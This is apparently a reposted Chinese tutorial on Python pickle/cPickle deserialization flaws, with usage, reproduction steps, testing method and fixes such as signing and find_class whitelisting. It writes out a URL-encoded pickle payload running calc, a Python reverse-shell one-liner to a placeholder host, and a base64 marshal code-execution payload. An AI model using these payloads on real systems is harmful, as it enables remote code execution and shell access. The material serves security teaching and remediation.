Python安全之反序列化——pickle/cPickle

一. 概述
Python中有两个模块可以实现对象的序列化,pickle和cPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些。使用时一般先尝试导入cPickle,如果失败,再导入pickle模块。
pickle的应用场景一般有以下几种:
1) 在解析认证token,session的时候;
(尤其web中使用的redis、mongodb、memcached等来存储session等状态信息)
2) 将对象Pickle后存储成磁盘文件;
3)将对象Pickle后在网络中传输。
二.用法
pickle 具有两个重要的函数:
1)一个是dump(), 作用是接受一个文件句柄和一个数据对象作为参数,把数据对象以特定的格式保存到给定的文件中;
2)另一个函数是load(),作用是从文件中取出已保存的对象,pickle 知道如何恢复这些对象到他们本来的格式。
使用方式如下:
pickle.dump(obj, file, protocol=None, *, fix_imports=True) //输出为文件对象
pickle.dumps(obj, protocol=None, *, fix_imports=True) //输出为 bytes 对象
pickle.load(file) // load参数是文件句柄
pickle.loads(file) // loads参数是字符串
三. 漏洞复现
1、本地命令执行
1) 写一个最简单的demo环境,用户输入文件后使用pickle.load方法进行反序列化:
2) 生成payload,定义执行calc命令的类,使用dumps方法进行序列化并输出到poc.pickle中:
3) 执行此payload:
4) 模拟实现一个更为真实的web环境,取路径中的参数后使用cPickle.loads方法反序列化:

5) 将刚才生成的payload进行url编码,请求:
http://127.0.0.1:8000/?payload=cnt%0Asystem%0Ap1%0A(S%27calc%27%0Ap2%0AtRp3%0A.

2、任意代码执行(任意函数构造)
将上述的calc改为下面的字符串可实现反弹shell:
python-c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
这种通过-c参数只能执行相对简单的代码,如果出现了一些自定义函数,要序列化的对象就成了code类型。
但是pickle不能序列化code对象,这里简单测试一下:将要执行的代码都写到一个函数里foo(),尝试反序列化代码对象:


问题解决:从python2.6起,包含了一个可以序列化code对象的模块Marshal。由于python可以在函数当中再导入模块和定义函数,故可以将自己要执行的代码都写到一个函数foo()里:

得到payload:
http://127.0.0.1:8000/?payload=ctypes%0AFunctionType%0A%28cmarshal%0Aloads%0A%28cbase64%0Ab64decode%0A%28S%27YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQBABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAAAHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMwAAAARDovb3RoZXIvUHl0aG9uX3NlYy9QaWNrbGVSQ0UvcGlja2xlX3BvY19nZW4wLnB5UgEAAAALAAAAcwYAAAAAAQwBBAFzCQAAAGZpYigxMCkgPWkKAAAAdAQAAABjYWxjKAIAAAB0AgAAAG9zdAYAAABzeXN0ZW0oAQAAAFIDAAAAKAAAAAAoAQAAAFIBAAAAczAAAABEOi9vdGhlci9QeXRob25fc2VjL1BpY2tsZVJDRS9waWNrbGVfcG9jX2dlbjAucHl0AwAAAGZvbwkAAABzCAAAAAABDAEPBA8B%27%0AtRtRc__builtin__%0Aglobals%0A%28tRS%27%27%0AtR%28tR.

3、其他payload:
国外文档:http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
更多payload:GitHub - sensepost/anapickle: Toolset for writing shellcode in Python's Pickle language and for manipulating pickles to inject shellcode.Toolset for writing shellcode in Python's Pickle language and for manipulating pickles to inject shellcode. - sensepost/anapickle
https://github.com/sensepost/anapickle
四. 测试方法
根据漏洞原理进行测试: 1)查找是否引入pickle/cPickle包;
2)若引入则查看并是否进行了pickle.load(param)或pickle.loads(param)操作;
3) 若参数输入可控,则可能存在反序列化漏洞,构造payload进行利用。
五. 修复方案
1) 确保反序列化对象不可控,且在传递前请进行签名或者加密,防止篡改和重播
2) 如果序列化数据存储在磁盘上,请确保不受信任的第三方不能修改、覆盖或者重新创建自己的序列化数据
3)将 pickle 加载的数据列入白名单,可使用官方推荐的find_class方法,使用白名单限制反序列化引入的对象pickle — Python object serialization — Python 3.7.17 documentation
https://docs.python.org/3.7/library/pickle.html#pickle-restrict
六、沙盒绕过
http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf https://github.com/phith0n/code-breaking/tree/master/2018/picklecode
https://github.com/phith0n/code-breaking/tree/master/2018/picklecode https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game
https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game
转载自:Python安全之反序列化——pickle/cPickle-腾讯云开发者社区-腾讯云
相关文章:
Python安全之反序列化——pickle/cPickle
一. 概述 Python中有两个模块可以实现对象的序列化,pickle和cPickle,区别在于cPickle是用C语言实现的,pickle是用纯python语言实现的,用法类似,cPickle的读写效率高一些。使用时一般先尝试导入cPickle&…...
Deepin(Linux)安装MySQL指南
1.下载 地址:https://downloads.mysql.com/archives/community/ 2.将文件解压到 /usr/local 目录下 先cd到安装文件所在目录再解压,本机是cd /home/lu01/Downloads sudo tar -xvJf mysql-9.2.0-linux-glibc2.28-x86_64.tar.xz -C /usr/local3.创建软链…...
vue-fastapi-admin 部署心得
vue-fastapi-admin 部署心得 这两天需要搭建一个后台管理系统,找来找去 vue-fastapi-admin 这个开源后台管理框架刚好和我的技术栈所契合。于是就浅浅的研究了一下。 主要是记录如何基于原项目提供的Dockerfile进行调整,那项目文件放在容器外部…...
计算机视觉算法实战——三维重建(主页有源码)
✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连 ✨ ✨个人主页欢迎您的访问 ✨期待您的三连✨ 1. 三维重建领域简介 三维重建(3D Reconstruction)是计算机视觉的核心任务之一,旨在通过多视角图像、视频…...
先进制造aps专题三十 用免费生产排程软件isuperaps进行长期生产计划制定
isuperaps是生产排产软件,同时也可以用来制定长期生产计划 通过isuperaps制定长期生产计划,一个指导原则就是大bom, 单工序,大bom的意思是bom中只包含主要的半成品和原料,单工序的意思是半成品/产品生产以工厂或车间为基本生产单…...
DeepSeek使用从入门到精通
1. DeepSeek概述 - DeepSeek是国产大模型,提供网页版和App版。因其强大功能,遭受网络攻击,但国内用户可直接使用。 2. 入门技巧 - 忘掉复杂提示词:用简洁明了的需求指令,AI能自我思考并生成优质内容 - 明确需求&#…...
迎接DeepSeek开源周[Kimi先开为敬]发布开源最新Muon优化器可替代 AdamW计算效率直接翻倍
Muon优化器在小规模语言模型训练中表现出色,但在大规模模型训练中的可扩展性尚未得到证实。月之暗面通过系统分析和改进,成功将 Muon 应用于 3B/16B 参数的 MoE 模型训练,累计训练 5.7 万亿 token。结果表明,Muon 可以替代 AdamW …...
【工作流】Spring Boot 项目与 Camunda 的整合
【工作流】Spring Boot 项目与 Camunda 的整合 【一】Camunda 和主流流程引擎的对比【二】概念介绍【1】Camunda 概念:【2】BPMN 概念 【三】环境准备【1】安装流程设计器CamundaModeler【画图工具】(1)下载安装 【2】CamundaModeler如何设计…...
Grouped-Query Attention(GQA)详解: Pytorch实现
Grouped-Query Attention(GQA)详解 Grouped-Query Attention(GQA) 是 Multi-Query Attention(MQA) 的改进版,它通过在 多个查询头(Query Heads)之间共享 Key 和 Value&am…...
docker基操
docker基操 首先就是安装docker使用docker:创建容器-制作一个镜像-加载镜像首先就是安装docker 随便找一个教程安装就可以,安装过程中主要是不能访问谷歌,下面这篇文章写了镜像的一些问题: 安装docker的网络问题 使用docker:创建容器-制作一个镜像-加载镜像 主要是参考:这篇…...
SF-HCI-SAP问题收集1
最近在做HCI的集成,是S4的环境,发现很多东西都跑不通,今天开始收集一下错误点 如果下图冲从0001变成0010,sfiom_rprq_osi表就会存数据,系统检查到此表就会报错,这个选项的作用就是自定义信息类型也能更新&a…...
当 OpenAI 不再 open,DeepSeek 如何掀起 AI 开源革命?
开源与闭源的路线之争成为了行业瞩目的焦点,DeepSeek掀起的 AI 开源风暴! 一、硅谷“斯普特尼克时刻” 1957年,苏联将人类首颗人造卫星“斯普特尼克”送上太空,美国举国震动。 这颗“篮球”般的卫星,刺痛了自诩科技霸…...
理解 logits_to_keep = logits_to_keep + 1 在 _get_per_token_logps 中的作用
理解 logits_to_keep logits_to_keep 1 在 _get_per_token_logps 中的作用 source: anaconda3/envs/xxx/lib/python3.10/site-packages/trl/trainer/grpo_trainer.py def _get_per_token_logps(self, model, input_ids, attention_mask, logits_to_keep):# We add 1 to logi…...
论文笔记-WSDM2025-ColdLLM
论文笔记-WSDM2025-Large Language Model Simulator for Cold-Start Recommendation ColdLLM:用于冷启动推荐的大语言模型模拟器摘要1.引言2.前言3.方法3.1整体框架3.1.1行为模拟3.1.2嵌入优化 3.2耦合漏斗ColdLLM3.2.1过滤模拟3.2.2精炼模拟 3.3模拟器训练3.3.1LLM…...
DeepSeek与AI幻觉
AI幻觉(AI Hallucination) 是指人工智能系统(尤其是生成式模型,如大型语言模型或图像生成模型)在输出内容时,生成与事实不符、逻辑混乱或完全虚构的信息的现象。这种现象类似于人类的“幻觉”,即…...
Linux 命令大全完整版(09)
4. 压缩与解压缩命令 ar 功能说明:建立或修改备存文件,或是从备存文件中抽取文件。语法:ar[-dmpqrtx][cfosSuvV][a<成员文件>][b<成员文件>][i<成员文件>][备存文件][成员文件]补充说明:可让您集合许多文件&a…...
deepseek_清华大学指导手册_pdf_1-5
deepseek_清华大学指导手册_pdf_1-5 无套路,无需关注,无需登录,无需app,直接下载: 下载地址 文件列表: 001_清华大学_DeepSeek从入门到精通.pdf 002_清华大学_DeepSeek如何赋能职场应用.pdf 003_清华大学…...
深度学习-127-LangGraph之基础知识(四)自定义状态添加额外字段的聊天机器人
文章目录 1 自定义状态2 自定义工具2.1 完善工具human_assistance2.2 浏览器工具baidu_search3 聊天机器人3.1 绑定工具的聊天模型3.2 聊天机器人(带记忆)4 调用图4.1 调用工具时中断4.2 人工提供信息恢复4.3 查询存储的状态4.4 手动更新状态5 参考附录使用LangGraph,在状态中…...
自定义实现简版状态机
状态机(State Machine)是一种用于描述系统行为的数学模型,广泛应用于计算机科学、工程和自动化等领域。它通过定义系统的状态、事件和转移来模拟系统的动态行为。 基本概念 状态(State):系统在某一时刻的特…...
基于 Python Django 的校园互助平台(附源码,文档)
博主介绍:✌Java徐师兄、7年大厂程序员经历。全网粉丝13w、csdn博客专家、掘金/华为云等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取源码联系🍅 👇🏻 精彩专栏推荐订阅👇🏻 不…...
Python pip 缓存清理:全面方法与操作指南
在使用 Python 的 pip 进行包安装时,pip 会将下载的包缓存起来,以加快后续相同包的安装速度。不过,随着时间推移,缓存会占用大量磁盘空间,这时你可以对其进行清理。下面为你介绍不同操作系统下清理 pip 缓存的方法。 …...
Windows系统第一次运行C语言程序,环境配置,软件安装等遇到的坑及解决方法
明确需要编辑器和编译器,并选择自己要用什么(我选的编辑器是VSCode:Visual Studio Code;编译器是gcc)下载VSCode并配置环境变量(这里没啥问题),安装C/C的拓展安装Cygwin,…...
Python开发Django面试题及参考答案
目录 Django 的请求生命周期是怎样的? Django 的 MTV 架构中的各个组件分别是什么? Django 的 URL 路由是如何工作的? Django 的视图函数和视图类有什么区别? Django 的模板系统是如何渲染 HTML 的? Django 的 ORM 是如何工作的? Django 的中间件是什么?它的作用是…...
PyTorch v2.6 Overview
PyTorch v2.6 Overview Python APILibraries PyTorch 是一个优化的张量库,用于使用 GPU 和 CPU 进行深度学习。 Python API 序号API名称解释1torchPyTorch 核心库(中文:火炬)PyTorch 的核心库,提供了张量操作、自动求导等基础功能。2torch.nn神经网络模…...
智慧废品回收小程序php+uniapp
废品回收小程序:数字化赋能环保,开启资源循环新时代 城市垃圾治理难题,废品回收小程序成破局关键 随着城市化进程加速与消费水平提升,我国生活垃圾总量逐年攀升,年均增速达5%-8%,其中超30%为可回收物。然…...
【p-camera-h5】 一款开箱即用的H5相机插件,支持拍照、录像、动态水印与样式高度定制化。
【开源推荐】p-camera-h5:一款轻量级H5相机插件开发实践 一、插件背景 在Web开发中,原生摄像头功能的集成往往面临以下痛点: 浏览器兼容性问题视频流与水印叠加实现复杂移动端适配困难功能定制成本高 为此,p-camera-h5 —— 一…...
python~http的请求参数中携带map
背景 调试 http GET请求的 map 参数,链路携带参数一直有问题,最终采用如下方式携带map 解决 user{"demo":"true","info":"王者"}url encode之后的效果如下所示 user%7B%22demo%22:%22true%22,%22info%22:%22…...
网页版的俄罗斯方块
1、新建一个txt文件 2、打开后将代码复制进去保存 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>俄…...
创建虚拟环境以及配置对应的项目依赖
文章目录 首先创建一个虚拟环境,创建一个名字为myenv,并且版本为xxx的虚拟环境 conda create --name myenv pythonxxx激活虚拟环境 conda activate myenv下载所需的依赖,如果有requirements.txt文件 pip install -r requirements.txt容易出现的错误&a…...
网络安全第三次练习
一、实验拓扑 二、实验要求 配置真实DNS服务信息,创建虚拟服务,配置DNS透明代理功能 三、需求分析 1.创建用户并配置认证策略 2.安全策略划分接口 3.ip与策略配置 四、实验步骤 1.划分安全策略接口 2.创建用户并进行策略认证 3.配置安全策略 4.NAT配…...
